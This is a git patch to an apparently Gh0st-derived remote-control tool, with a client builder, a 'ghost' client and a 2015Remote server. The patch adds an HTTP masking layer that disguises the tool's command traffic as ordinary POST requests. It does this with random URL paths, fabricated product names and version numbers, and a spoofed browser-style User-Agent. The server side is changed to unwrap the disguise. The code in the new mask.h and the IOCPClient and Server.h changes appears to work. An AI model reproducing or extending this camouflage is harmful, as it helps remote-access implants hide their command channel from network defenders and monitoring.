From db6b55d59b35154f7c1487f3342894600da5e0eb Mon Sep 17 00:00:00 2001
From: yuanyuanxiang <962914132@qq.com>
Date: Sat, 12 Jul 2025 20:27:14 +0800
Subject: [PATCH] Feature: Support HTTP protocol and add building option
---
client/Buffer.cpp | 8 ++
client/Buffer.h | 1 +
client/IOCPClient.cpp | 40 ++++++--
client/IOCPClient.h | 7 +-
client/KernelManager.cpp | 3 +-
client/ghost_vs2015.vcxproj | 1 +
common/mask.h | 155 +++++++++++++++++++++++++++++++
server/2015Remote/Buffer.cpp | 12 +++
server/2015Remote/Buffer.h | 8 +-
server/2015Remote/BuildDlg.cpp | 1 +
server/2015Remote/IOCPServer.cpp | 6 +-
server/2015Remote/Server.h | 44 +++++++--
12 files changed, 262 insertions(+), 24 deletions(-)
create mode 100644 common/mask.h
diff --git a/client/Buffer.cpp b/client/Buffer.cpp
index fdc1889..4bcee71 100644
--- a/client/Buffer.cpp
+++ b/client/Buffer.cpp
@@ -143,6 +143,14 @@ ULONG CBuffer::GetBufferLength() const
}
+void CBuffer::Skip(ULONG ulPos) {
+ if (ulPos == 0)
+ return;
+ MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
+ m_Ptr -= ulPos;
+}
+
+
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
{
if (m_Base==NULL || ulPos>=(m_Ptr - m_Base))
diff --git a/client/Buffer.h b/client/Buffer.h
index 9ddece1..ff9623b 100644
--- a/client/Buffer.h
+++ b/client/Buffer.h
@@ -15,6 +15,7 @@ public:
BOOL ReAllocateBuffer(ULONG ulLength);
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
PBYTE GetBuffer(ULONG ulPos=0) const;
+ void Skip(ULONG ulPos);
protected:
PBYTE m_Base;
diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index bff0084..a64d565 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -96,11 +96,12 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
}
-IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
+IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask) : g_bExit(bExit)
{
m_ServerAddr = {};
m_nHostPort = 0;
m_Manager = NULL;
+ m_masker = mask ? new HttpMask("example.com") : new PkgMask();
#ifdef _WIN32
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
@@ -147,6 +148,7 @@ IOCPClient::~IOCPClient()
ZSTD_freeCCtx(m_Cctx);
ZSTD_freeDCtx(m_Dctx);
#endif
+ m_masker->Destroy();
}
// 从域名获取IP地址
@@ -196,6 +198,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
SetServerAddress(szServerIP, uPort);
}
m_sCurIP = m_Domain.SelectIP();
+ m_masker->SetServer(m_sCurIP.c_str());
unsigned short port = m_nHostPort;
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //传输层
@@ -362,8 +365,16 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
//检测数据是否大于数据头大小 如果不是那就不是正确的数据
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
{
+ // UnMask
+ char* src = (char*)m_CompressedBuffer.GetBuffer();
+ ULONG srcSize = m_CompressedBuffer.GetBufferLength();
+ ULONG ret = m_masker->UnMask(src, srcSize);
+ m_CompressedBuffer.Skip(ret);
+ if (m_CompressedBuffer.GetBufferLength() <= HDR_LENGTH)
+ break;
+
char szPacketFlag[FLAG_LENGTH + 3] = {0};
- LPBYTE src = m_CompressedBuffer.GetBuffer();
+ src = (char*)m_CompressedBuffer.GetBuffer();
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
//判断数据头
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
@@ -431,6 +442,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
AUTO_TICK(50);
assert (ulOriginalLength > 0);
{
+ int cmd = BYTE(szBuffer[0]);
//乘以1.001是以最坏的也就是数据压缩后占用的内存空间和原先一样 +12
//防止缓冲区溢出// HelloWorld 10 22
//数据压缩 压缩算法 微软提供
@@ -470,14 +482,22 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
if (CompressedBuffer != buf) delete [] CompressedBuffer;
// 分块发送
- return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER);
+ return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd);
}
}
// 5 2 // 2 2 1
-BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
+BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd)
{
+ if (src == nullptr || srcSize == 0 || ulSplitLength == 0)
+ return FALSE;
+ // Mask
+ char* szBuffer = nullptr;
+ ULONG ulLength = 0;
+ m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
+
AUTO_TICK(25);
+ bool isFail = false;
int iReturn = 0; //真正发送了多少
const char* Travel = szBuffer;
int i = 0;
@@ -497,14 +517,15 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
}
if (j == ulSendRetry)
{
- return FALSE;
+ isFail = true;
+ break;
}
ulSended += iReturn;
Travel += ulSplitLength;
}
// 发送最后的部分
- if (i>0) //1024
+ if (!isFail && i>0) //1024
{
int j = 0;
for (; j < ulSendRetry; j++)
@@ -518,10 +539,15 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
}
if (j == ulSendRetry)
{
- return FALSE;
+ isFail = true;
}
ulSended += iReturn;
}
+ if (szBuffer != src)
+ SAFE_DELETE_ARRAY(szBuffer);
+ if (isFail) {
+ return FALSE;
+ }
return (ulSended == ulLength) ? TRUE : FALSE;
}
diff --git a/client/IOCPClient.h b/client/IOCPClient.h
index 39c0ac6..0c1c708 100644
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -12,9 +12,9 @@
#endif
#include "Buffer.h"
-#include "common/commands.h"
#include "zstd/zstd.h"
#include "domain_pool.h"
+#include "common/mask.h"
#define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*32
@@ -57,7 +57,7 @@ public:
class IOCPClient
{
public:
- IOCPClient(State& bExit, bool exit_while_disconnect = false);
+ IOCPClient(State& bExit, bool exit_while_disconnect = false, int mask=0);
virtual ~IOCPClient();
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
@@ -110,7 +110,7 @@ protected:
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
- BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
+ BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd);
protected:
sockaddr_in m_ServerAddr;
@@ -134,4 +134,5 @@ protected:
std::string m_sCurIP;
int m_nHostPort;
bool m_exit_while_disconnect;
+ PkgMask* m_masker;
};
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 69fbf1f..84f7c27 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -21,7 +21,8 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di
return new IOCPClient(bExit, exit_while_disconnect);
if (conn->protoType == PROTO_UDP)
return new IOCPUDPClient(bExit, exit_while_disconnect);
-
+ if (conn->protoType == PROTO_HTTP)
+ return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP);
return NULL;
}
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index 4fe4dc6..27f4eed 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -201,6 +201,7 @@
+
diff --git a/common/mask.h b/common/mask.h
new file mode 100644
index 0000000..a084472
--- /dev/null
+++ b/common/mask.h
@@ -0,0 +1,155 @@
+#pragma once
+
+#include "commands.h"
+
+// 鏁版嵁鍖呭崗璁皝瑁呮牸寮
+// Copy left: 962914132@qq.com & ChatGPT
+enum PkgMaskType {
+ MaskTypeUnknown = -1,
+ MaskTypeNone,
+ MaskTypeHTTP,
+ MaskTypeNum,
+};
+
+inline ULONG UnMaskHttp(char* src, ULONG srcSize) {
+ const char* header_end_mark = "\r\n\r\n";
+ const ULONG mark_len = 4;
+
+ // 鏌ユ壘 HTTP 澶撮儴缁撴潫鏍囪
+ for (ULONG i = 0; i + mark_len <= srcSize; ++i) {
+ if (memcmp(src + i, header_end_mark, mark_len) == 0) {
+ return i + mark_len; // 杩斿洖 Body 璧峰浣嶇疆
+ }
+ }
+ return 0; // 鏃犳晥鏁版嵁
+}
+
+// TryUnMask 灏濊瘯鍘绘帀浼鐨勫崗璁ご.
+inline ULONG TryUnMask(char* src, ULONG srcSize, PkgMaskType& maskHit) {
+ if (srcSize >= 5 && memcmp(src, "POST ", 5) == 0) {
+ maskHit = MaskTypeHTTP;
+ return UnMaskHttp(src, srcSize);
+ }
+ maskHit = MaskTypeNone;
+ return 0;
+}
+
+// PkgMask 閽堝娑堟伅杩涗竴姝ュ姞瀵嗐佹贩娣嗘垨浼.
+class PkgMask {
+protected:
+ virtual ~PkgMask() {}
+public:
+ virtual void Destroy() {
+ delete this;
+ }
+ virtual void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) {
+ dst = src;
+ dstSize = srcSize;
+ }
+ virtual ULONG UnMask(char* src, ULONG srcSize) {
+ return 0;
+ }
+ virtual void SetServer(const char* addr) {}
+};
+
+class HttpMask : public PkgMask {
+public:
+ /**
+ * @brief 鏋勯犲嚱鏁
+ * @param host HTTP Host 澶村瓧娈
+ */
+ explicit HttpMask(const std::string& host) : product_(GenerateRandomString()), host_(host) {
+ // 鍒濆鍖栭殢鏈烘暟鐢熸垚鍣
+ srand(static_cast(time(nullptr)));
+ char buf[32];
+ sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10);
+ version_ = buf;
+ user_agent_ = GetEnhancedSystemUA(product_, version_);
+ }
+
+ /**
+ * @brief 灏嗗師濮嬫暟鎹吉瑁呬负 HTTP 璇锋眰
+ * @param dst [杈撳嚭] 浼鍚庣殑鏁版嵁缂撳啿鍖猴紙闇璋冪敤鑰呴噴鏀撅級
+ * @param dstSize [杈撳嚭] 浼鍚庢暟鎹暱搴
+ * @param src 鍘熷鏁版嵁鎸囬拡
+ * @param srcSize 鍘熷鏁版嵁闀垮害
+ * @param cmd 鍛戒护鍙
+ */
+ void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) {
+ // 鐢熸垚鍔ㄦ HTTP 澶撮儴
+ std::string http_header =
+ "POST " + GeneratePath(cmd) + " HTTP/1.1\r\n"
+ "Host: " + host_ + "\r\n"
+ "User-Agent: " + user_agent_ + "\r\n"
+ "Content-Type: application/octet-stream\r\n"
+ "Content-Length: " + std::to_string(srcSize) + "\r\n"
+ "Connection: keep-alive\r\n"
+ "\r\n"; // 绌鸿鍒嗛殧澶撮儴鍜 Body
+
+ // 鍒嗛厤杈撳嚭缂撳啿鍖
+ dstSize = static_cast(http_header.size()) + srcSize;
+ dst = new char[dstSize];
+
+ // 鎷疯礉鏁版嵁锛欻TTP 澶撮儴 + 鍘熷鏁版嵁
+ memcpy(dst, http_header.data(), http_header.size());
+ memcpy(dst + http_header.size(), src, srcSize);
+ }
+
+ /**
+ * @brief 浠 HTTP 鏁版嵁涓彁鍙栧師濮嬫暟鎹捣濮嬩綅缃
+ * @param src 鏀跺埌鐨 HTTP 鏁版嵁
+ * @param srcSize 鏁版嵁闀垮害
+ * @return ULONG 鍘熷鏁版嵁鍦 src 涓殑璧峰鍋忕Щ閲忥紙澶辫触杩斿洖 0锛
+ */
+ ULONG UnMask(char* src, ULONG srcSize) {
+ return UnMaskHttp(src, srcSize);
+ }
+
+ void SetServer(const char* addr) {
+ host_ = addr;
+ }
+private:
+ static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) {
+#ifdef _WIN32
+ OSVERSIONINFOEX osvi = {};
+ osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
+ GetVersionEx((OSVERSIONINFO*)&osvi);
+
+ // 鑾峰彇绯荤粺鏋舵瀯
+ SYSTEM_INFO si;
+ GetNativeSystemInfo(&si);
+ std::string arch = (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) ? "Win64; x64" :
+ (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) ? "Win64; ARM64" :
+ "WOW64";
+
+ return "Mozilla/5.0 (" +
+ std::string("Windows NT ") +
+ std::to_string(osvi.dwMajorVersion) + "." +
+ std::to_string(osvi.dwMinorVersion) + "; " +
+ arch + ") " +
+ appName + "/" + appVersion;
+#else
+ return "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36";
+#endif
+ }
+
+ std::string host_; // 鐩爣涓绘満
+ std::string product_; // 浜у搧鍚嶇О
+ std::string version_; // 浜у搧鐗堟湰
+ std::string user_agent_;// 浠g悊鍚嶇О
+
+ /** 鐢熸垚闅忔満 URL 璺緞 */
+ std::string GenerateRandomString(int size = 8) const {
+ static const char charset[] = "abcdefghijklmnopqrstuvwxyz0123456789";
+ char path[32];
+ for (int i = 0; i < size; ++i) {
+ path[i] = charset[rand() % (sizeof(charset) - 1)];
+ }
+ path[size] = 0;
+ return path;
+ }
+ std::string GeneratePath(int cmd) const {
+ static std::string root = "/" + product_ + "/" + GenerateRandomString() + "/";
+ return root + (cmd == -1 ? GenerateRandomString() : std::to_string(cmd));
+ }
+};
diff --git a/server/2015Remote/Buffer.cpp b/server/2015Remote/Buffer.cpp
index 53409d2..e156fb0 100644
--- a/server/2015Remote/Buffer.cpp
+++ b/server/2015Remote/Buffer.cpp
@@ -186,6 +186,18 @@ ULONG CBuffer::GetBufferLength() //
return len;
}
+void CBuffer::Skip(ULONG ulPos) {
+ if (ulPos == 0)
+ return;
+
+ EnterCriticalSection(&m_cs);
+
+ MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
+ m_Ptr -= ulPos;
+
+ LeaveCriticalSection(&m_cs);
+}
+
// 此函数不是多线程安全的. 只在远程桌面使用了.
LPBYTE CBuffer::GetBuffer(ULONG ulPos)
{
diff --git a/server/2015Remote/Buffer.h b/server/2015Remote/Buffer.h
index 3717eef..dc46d0d 100644
--- a/server/2015Remote/Buffer.h
+++ b/server/2015Remote/Buffer.h
@@ -75,12 +75,18 @@ public:
ULONG GetBufferLen() { return GetBufferLength(); }
VOID ClearBuffer();
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
- BOOL Write(PBYTE Buffer, ULONG ulLength) { return WriteBuffer(Buffer, ulLength); }
+ BOOL Write(PBYTE Buffer, ULONG ulLength) {
+ return WriteBuffer(Buffer, ulLength);
+ }
+ BOOL WriteBuffer(CBuffer& buf) {
+ return WriteBuffer(buf.GetBuffer(), buf.GetBufferLen());
+ }
LPBYTE GetBuffer(ULONG ulPos=0);
Buffer GetMyBuffer(ULONG ulPos);
BYTE GetBYTE(ULONG ulPos);
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
ULONG RemoveCompletedBuffer(ULONG ulLength);
+ void Skip(ULONG ulPos);
protected:
PBYTE m_Base;
diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index 71bf195..31bcb8c 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -261,6 +261,7 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboProto.InsertString(PROTO_TCP, "TCP");
m_ComboProto.InsertString(PROTO_UDP, "UDP");
+ m_ComboProto.InsertString(PROTO_HTTP, "HTTP");
m_ComboProto.SetCurSel(PROTO_TCP);
m_OtherItem.ShowWindow(SW_HIDE);
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index 18974bb..e7a41ee 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -566,7 +566,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
assert(ContextObject);
// 输出服务端所发送的命令
- unsigned cmd = szBuffer[0];
+ int cmd = szBuffer[0];
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
char buf[100] = { 0 };
@@ -589,7 +589,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
}
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
- ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength);
+ ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength, cmd);
break;
}
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
@@ -616,7 +616,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
- ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
+ ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength, cmd);
if (CompressedBuffer != buf) delete [] CompressedBuffer;
}while (false);
diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h
index ef729d6..b684e83 100644
--- a/server/2015Remote/Server.h
+++ b/server/2015Remote/Server.h
@@ -1,7 +1,7 @@
#pragma once
#include "stdafx.h"
-#include "common/commands.h"
+#include "common/mask.h"
#include "common/header.h"
#include "common/encrypt.h"
@@ -64,6 +64,7 @@ class HeaderParser {
friend class CONTEXT_OBJECT;
protected:
HeaderParser() {
+ m_Masker = nullptr;
m_Encoder = nullptr;
m_Encoder2 = nullptr;
m_bParsed = FALSE;
@@ -74,11 +75,23 @@ protected:
virtual ~HeaderParser() {
Reset();
}
- PR Parse(CBuffer& buf, int& compressMethod) {
+ PR Parse(CBuffer& buf, int& compressMethod, const std::string &peer) {
const int MinimumCount = MIN_COMLEN;
if (buf.GetBufferLength() < MinimumCount) {
return PR{ PARSER_NEEDMORE };
}
+ // UnMask
+ char* src = (char*)buf.GetBuffer();
+ ULONG srcSize = buf.GetBufferLength();
+ PkgMaskType maskType = MaskTypeUnknown;
+ ULONG ret = TryUnMask(src, srcSize, maskType);
+ if (nullptr == m_Masker) {
+ m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
+ }
+ buf.Skip(ret);
+ if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
+ return PR{ PARSER_NEEDMORE };
+
char szPacketFlag[32] = { 0 };
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
HeaderEncType encTyp = HeaderEncUnknown;
@@ -161,6 +174,10 @@ protected:
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
}
HeaderParser& Reset() {
+ if (m_Masker) {
+ m_Masker->Destroy();
+ m_Masker = nullptr;
+ }
SAFE_DELETE(m_Encoder);
SAFE_DELETE(m_Encoder2);
m_bParsed = FALSE;
@@ -199,6 +216,7 @@ private:
char m_szPacketFlag[32]; // 对比信息
Encoder* m_Encoder; // 编码器
Encoder* m_Encoder2; // 编码器2
+ PkgMask* m_Masker;
};
enum IOType
@@ -393,7 +411,7 @@ public:
return InDeCompressedBuffer.GetBYTE(offset);
}
// Write compressed buffer.
- void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
+ void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1) {
if (Parser.IsParsed()) {
ULONG totalLen = dataLen + Parser.GetHeaderLen();
BYTE szPacketFlag[32] = {};
@@ -401,18 +419,26 @@ public:
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
if (Parser.IsEncodeHeader())
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
- OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
- OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
+ CBuffer buf;
+ buf.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
+ buf.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
if (Parser.GetFlagType() == FLAG_WINOS) {
memcpy(szPacketFlag, Parser.GetFlag(), 10);
- OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
+ buf.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
}
else {
- OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
+ buf.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
}
Encode2(data, dataLen, szPacketFlag);
- OutCompressedBuffer.WriteBuffer(data, dataLen);
+ buf.WriteBuffer(data, dataLen);
+ // Mask
+ char* src = (char*)buf.GetBuffer(), *szBuffer = nullptr;
+ ULONG ulLength = 0;
+ Parser.m_Masker->Mask(szBuffer, ulLength, src, buf.GetBufferLen(), cmd);
+ OutCompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
+ if (szBuffer != src)
+ SAFE_DELETE_ARRAY(szBuffer);
}
}
// Read compressed buffer.
@@ -438,7 +464,7 @@ public:
}
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
PR Parse(CBuffer& buf) {
- return Parser.Parse(buf, CompressMethod);
+ return Parser.Parse(buf, CompressMethod, PeerName);
}
// Encode data before compress.
void Encode(PBYTE data, int len) const {